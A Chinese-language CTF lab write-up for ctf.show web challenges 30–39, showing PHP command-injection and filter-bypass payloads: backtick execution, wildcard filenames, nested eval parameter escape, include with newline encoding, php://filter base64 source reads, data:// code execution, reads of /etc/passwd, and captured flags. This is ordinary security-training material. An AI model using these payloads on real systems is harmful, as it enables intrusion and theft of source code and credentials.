web30
過濾了flag php system
用``(反引号)代替system
用?代替flag和php(問号可以代表一個占位符)
http://11a60cc1-4545-447c-89ca-6bacc7271ebc.challenge.ctf.show/?c=`cp fla?.??? 1.txt`;
cp指令:
cp source target 将檔案source複制為target
?c=`cp fla?.??? 1.txt`;
然後再檢視1.txt
web31
嵌套一個eval()執行
/?c=eval($_GET[1]);&1=phpinfo();
測試成功
相當于參數逃逸用c參數作為一個跳闆傳進去的值傳入另外一個參數1就可以過濾對參數c的判斷
?c=eval($_GET[1]);&1=system('ls');
檢視檔案
/?c=eval($_GET[1]);&1=system('cat flag.php');
發現是空白因為是php代碼,檢視源碼
如果用tac就可以直接看到
/?c=eval($_GET[1]);&1=system(‘tac flag.php’);
web32
使用檔案包含
空格也被過濾用url編碼繞過
分号可以用?>代替
%0a是換行符
/?c=include%0a$_GET[1]?>&1=/etc/passwd
/?c=include%0A$_GET[1]?>&1=flag.php
雖然是包含但是沒有輸出flag的變量
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
解密後得到:
http://53c68ec7-13cd-4973-90b2-ec4d39dff7b6.challenge.ctf.show/?c=in<?php
$flag="ctfshow{2becc14a-2856-414b-a754-dec0d6448d9a}";
clude%0a$_GET[1]?%3E&1=php://filter/convert.base64-encode/resource=flag.php
Web33
多過濾了雙引号
繼續用web32的方法
/?c=include%0a$_GET[1]?>&1=/etc/passwd
發現可以執行
/?c=include%0A$_GET[1]?>&1=flag.php
利用php僞協定
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
解密後得到flag
ctfshow{bd6efc19-bc25-4402-8396-c93fb21cec72}
還有另外一種方法:
/?c=require%0a$_GET[1]?>&1=/etc/passwd
/?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
Web34
括号被過濾掉
echo print isset unset include require不需要用括号
如果是用print那麼phpinfo()是在資料端不是代碼端
/?c=print%0a$_GET[1]?>&1=phpinfo();
像這個樣子
如果用eval的話/?c=eval(%0a$_GET[1])?>&1=phpinfo();要使用括号但是括号已經被過濾了
是以我們用一下include包含系統檔案
/?c=include%0a$_GET[1]?>&1=/etc/passwd
繼續讀取flag檔案
/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
解密得到flag
$flag="ctfshow{182443af-6a97-4927-b613-17e31e65afb2}";
Web35
多過濾了=和/不影響我們用上一個方法解
/?c=include%0a$_GET[1]?>&1=/etc/passwd
/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
之後得到flag
Web36
不讓用數字了
可以用字母把1換成a
/?c=include%0a$_GET[a]?>&a=/etc/passwd
/?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
解密後得到lfag
Web37
Flag在flag.php中
不能包含flag
先使用包含其他參數
/?c=$_GET[1]&1=flag.php
不行,因為$_GET[1]在資料端不是代碼執行,隻能包含這個字元串不能解析字元串
試用了一下php僞協定不可以
但是data僞協定可以
/?c=data://text/plain,<?php phpinfo();?>
data僞協定吧後面的<?php phpinfo();?>作為php代碼執行
/?c=data://text/plain,<?php system("mv fla?.php 1.txt");?>
mv指令:
将檔案移動走,或者改名,在Luinx下面沒有改名的指令,如果想改名,要使用該指令
mv source target 将檔案source更名為target
Web38
把php換成等于号
/?c=data://text/plain,<?=system("cp fl*.* 1.txt");?>
1.txt
web39
直接用data協定和system
/?c=data://text/plain,<?=system("tac fla?.ph?");?>